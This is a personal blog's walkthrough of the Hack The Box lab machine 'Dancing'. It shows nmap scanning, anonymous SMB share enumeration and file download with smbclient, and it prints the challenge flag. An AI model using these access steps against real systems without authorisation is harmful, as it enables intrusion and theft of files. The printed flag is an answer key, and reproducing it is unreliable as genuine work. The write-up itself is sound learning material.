AbbySec

My digital playground – where hacking meets learning.

View on GitHub
19 July 2025

Dancing – Hack The Box

by

🧠 Summary

The Dancing machine from HTB Starting Point demonstrates enumeration and exploitation of SMB shares using anonymous access. We’ll use Nmap for scanning and smbclient for accessing shares without credentials.


🔍 Tools Used


🎯 Target Info


✅ Steps to Exploit

1. Reconnaissance with Nmap

First, scan the target for open ports and services:

nmap -sC -sV 10.129.207.91

Result:

Nmap Scan Result

Key Findings:

2. Enumerate SMB Shares

List available shares anonymously:

smbclient -L \\\\10.129.207.91\\ -N

-L : To list available shares

-N : No password prompt (useful for anonymous/guest access)

Result: Found a share named WorkShares

List of SMB Shares

3. Access the WorkShares Share

Connect without a password:

smbclient \\\\10.129.207.91\\WorkShares -N

List the folders:

ls

We will see:

Amy.J
James.P

4. Browse Directories and Find the Flag

Navigate into Amy.J:

cd Amy.J
ls

File found: worknotes.txt (not needed for flag, but useful for context)

Go back and enter James.P:

cd ..
cd James.P
ls

Here we find flag.txt: Get Flag File

5. Download and Read the Flag

Download the flag file:

get flag.txt

Read it locally:

cat flag.txt

Flag:

5f61c10dffbc77a704d76016a22f1664

Read Flag File

Alternative Method (Optional)

You could also enumerate SMB shares using enum4linux or exploit with Metasploit:

use auxiliary/scanner/smb/smb_login

Key Takeaways

tags: